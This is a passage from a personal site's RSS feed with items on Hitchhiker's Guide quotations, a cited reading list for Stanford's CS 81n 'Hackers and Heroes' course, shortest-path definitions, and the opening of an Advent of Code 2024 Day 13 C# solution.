e.g., Boy Wonder in &amp;ldquo;Alien: Earth&amp;rdquo;, Evelyn Maddox in &amp;ldquo;The Ark&amp;rdquo;, etc.&lt;/p&gt;</description></item><item><title>The Ultimate Hitchhiker's Guide to the Galaxy</title><link>https://www.curiosities.dev/fiction/ultimate-hitchhikers-guide-to-the-galaxy/</link><pubDate>Wed, 24 Dec 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/ultimate-hitchhikers-guide-to-the-galaxy/</guid><description>&lt;h2 id="the-hitchhikers-guide-to-the-galaxy"&gt;The Hitchhiker&amp;rsquo;s Guide to the Galaxy&lt;/h2&gt;
&lt;p&gt;And then, one Thursday, nearly two thousand years after one man had been nailed
to a tree for saying how great it would be to nice for a change, &amp;hellip; &lt;span class="citation-ref"&gt;&lt;a href="#Adams1979"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The thing that used to worry him most was the fact that people always used to
ask him what he was looking so worried about. &lt;span class="citation-ref"&gt;&lt;a href="#Adams1979"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Mr. Prosser&amp;rsquo;s accepted role was to tackle Arthur with the occasional new ploy
such as the For the Public Good talk, or the March of Progress talk, the They
Knocked My House Down Once You Know, Never Looked Back talk and various other
cajoleries and threats. &lt;span class="citation-ref"&gt;&lt;a href="#Adams1979"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>CS 81n: Hackers and Heroes</title><link>https://www.curiosities.dev/todo/computer-science/cs81n-hackers-and-heroes/</link><pubDate>Sun, 14 Dec 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/cs81n-hackers-and-heroes/</guid><description>&lt;ul&gt;
&lt;li&gt;Recreational Programming with &lt;span class="citation-ref"&gt;&lt;a href="#Racket"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Hackers &lt;span class="citation-ref"&gt;&lt;a href="#Levy1984"&gt;&lt;/a&gt;&lt;/span&gt;:
&lt;ul&gt;
&lt;li&gt;Ch 1: The Tech Model Railroad Club&lt;/li&gt;
&lt;li&gt;Ch 2: The Hacker Ethic&lt;/li&gt;
&lt;li&gt;Ch 3: Spacewar&lt;/li&gt;
&lt;li&gt;Ch 4: Greenblatt and Gosper&lt;/li&gt;
&lt;li&gt;Ch 5: The Midnight Computer Wiring Society&lt;/li&gt;
&lt;li&gt;Ch 6: Winners and Losers&lt;/li&gt;
&lt;li&gt;Ch 7: Life&lt;/li&gt;
&lt;li&gt;The Last of the True Hackers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Margaret Hamilton, the Engineer Who Took the Apollo to the Moon &lt;span class="citation-ref"&gt;&lt;a href="#Verne2014"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Rise of Worse Is Better &lt;span class="citation-ref"&gt;&lt;a href="#Gabriel"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;The Inner Ring &lt;span class="citation-ref"&gt;&lt;a href="#Lewis"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;In the Beginning was the Command Line &lt;span class="citation-ref"&gt;&lt;a href="#Stephenson"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Mathematical Games - The fantastic combinations of John Conway&amp;rsquo;s new solitaire
game &amp;rsquo;life&amp;rsquo; &lt;span class="citation-ref"&gt;&lt;a href="#Gardner1970"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Conway&amp;rsquo;s Game of Life - Wikipedia &lt;span class="citation-ref"&gt;&lt;a href="#WikiConway"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Interviewing Principles &lt;span class="citation-ref"&gt;&lt;a href="#InterviewingPrinciples"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;An Insider&amp;rsquo;s View of &amp;lsquo;Ciscogate&amp;rsquo; &lt;span class="citation-ref"&gt;&lt;a href="#Granick2005"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;More Tales From &amp;lsquo;Ciscogate&amp;rsquo; &lt;span class="citation-ref"&gt;&lt;a href="#Granick2005-02"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;What is Engineering? &lt;span class="citation-ref"&gt;&lt;a href="#Chua"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Any 5 stories from Folklore &lt;span class="citation-ref"&gt;&lt;a href="#Folklore"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='cs81'&gt;
 
 CS 81N: Hackers and Heroes&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Keith Winstein.
 
 
 
 
 
 &lt;a href="https://web.stanford.edu/class/cs81n/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Racket'&gt;
 
 Racket&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://racket-lang.org/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=racket-lang.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;racket-lang.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Levy1984'&gt;
 
 Hackers: Heroes of the Computer Revolution&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Steven Levy.
 
 
 
 
 
 
 
 1984.
 &lt;a href="https://openlibrary.org/search?isbn=978-0-385-19195-1" target="_blank" rel="noopener"&gt;
 ISBN: 978-0-385-19195-1 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Verne2014'&gt;
 
 Margaret Hamilton, the Engineer Who Took the Apollo to the Moon | by Verne | Medium&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://verne.medium.com/margaret-hamilton-the-engineer-who-took-the-apollo-to-the-moon-7d550c73d3fa" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=verne.medium.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;verne.medium.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Gabriel'&gt;
 
 Rise of Worse Is Better&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Richard Gabriel.
 
 
 
 
 &lt;a href="https://www.dreamsongs.com/RiseOfWorseIsBetter.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dreamsongs.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dreamsongs.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Lewis'&gt;
 
 The Inner Ring&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 CS Lewis.
 
 
 
 
 &lt;a href="https://www.lewissociety.org/innerring/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.lewissociety.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.lewissociety.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Stephenson'&gt;
 
 In the Beginning was the Command Line&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Neal Stephenson.
 
 
 
 
 &lt;a href="https://web.stanford.edu/class/cs81n/command.txt" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Gardner1970'&gt;
 
 Mathematical Games - The fantastic combinations of John Conway&amp;#39;s new solitaire game &amp;#39;life&amp;#39;&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Martin Gardner.
 
 
 
 
 &lt;a href="https://web.archive.org/web/20090603015231/http://ddi.cs.uni-potsdam.de/HyFISCH/Produzieren/lis_projekt/proj_gamelife/ConwayScientificAmerican.htm" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.archive.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.archive.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jun 2, 2009.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='WikiConway'&gt;
 
 Conway&amp;#39;s Game of Life - Wikipedia&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=en.wikipedia.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;en.wikipedia.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='InterviewingPrinciples'&gt;
 
 Four Principles&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.columbia.edu/itc/journalism/isaacs/edit/MencherIntv1.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.columbia.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.columbia.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Granick2005'&gt;
 
 Information Security News: An Insider&amp;#39;s View of &amp;#39;Ciscogate&amp;#39;&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Jennifer Granick.
 
 
 
 
 &lt;a href="https://seclists.org/isn/2005/Aug/31" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=seclists.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;seclists.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Aug 31, 2005.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Granick2005-02'&gt;
 
 [ISN] More Tales From &amp;#39;Ciscogate&amp;#39;&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Jennifer Granick.
 
 
 
 
 &lt;a href="https://attrition.org/pipermail/isn/2005-August/001826.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=attrition.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;attrition.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Chua'&gt;
 
 What is Engineering: A Graphic Novel of Tech and Philosophy - SparkFun Learn&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Mel Chua.
 
 
 
 
 &lt;a href="https://learn.sparkfun.com/blog/1283" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=learn.sparkfun.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;learn.sparkfun.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Folklore'&gt;
 
 Folklore.org: The Original Macintosh&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.folklore.org/0-index.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.folklore.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.folklore.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 14, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Shortest Paths in a Graph</title><link>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/graphs/shortest-paths/</link><pubDate>Sun, 14 Dec 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/graphs/shortest-paths/</guid><description>&lt;p&gt;A &lt;dfn&gt;shortest path&lt;/dfn&gt; from vertex \(s\) to vertex \(t\) in an
edge-weighted digraph is a directed path from \(s\) to \(t\) with the
property that no other path has a lower weight. &lt;span class="citation-ref"&gt;&lt;a href="#Sedgewick2011"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A &lt;dfn&gt;shortest-paths tree&lt;/dfn&gt; for a source \(s\) is a subgraph containing
\(s\) and all the vertices reachable from \(s\) that forms a directed tree
rooted at \(s\) such that every tree path is a shortest path in the digraph.
&lt;span class="citation-ref"&gt;&lt;a href="#Sedgewick2011"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 13: Claw Contraption</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/13-claw-contraption/13-claw-contraption/</link><pubDate>Sun, 07 Dec 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/13-claw-contraption/13-claw-contraption/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;The input is a list of machine configurations, where buttons \(A\) and \(B\)
move the claw some distance \(X\) and \(Y\), and the location of the prize
is specified. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day13"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Button A: X+43, Y+68
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Button B: X+10, Y+36
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Prize: X=4800, Y=6250
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Button A: X+63, Y+41
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Button B: X+89, Y+18
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Prize: X=17648, Y=19276
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div id='ClawContraption.DataTypes.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ClawContraption&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Vector&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;Button&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ClawContraption&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Button&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;MachineConfig&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ClawContraption&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;MachineConfig&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;DirectedEdge&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ClawContraption&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;DirectedEdge&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;ClawContraption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;long&lt;/span&gt; &lt;span style="color:#111"&gt;X&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;long&lt;/span&gt; &lt;span style="color:#111"&gt;Y&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;Button&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;Delta&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;long&lt;/span&gt; &lt;span style="color:#111"&gt;TokenCost&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;MachineConfig&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Button&lt;/span&gt; &lt;span style="color:#111"&gt;A&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Button&lt;/span&gt; &lt;span style="color:#111"&gt;B&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;Prize&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;DirectedEdge&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;From&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;To&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;long&lt;/span&gt; &lt;span style="color:#111"&gt;Cost&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;ClawContraptionExtensions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;Move&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;this&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Button&lt;/span&gt; &lt;span style="color:#111"&gt;button&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt;
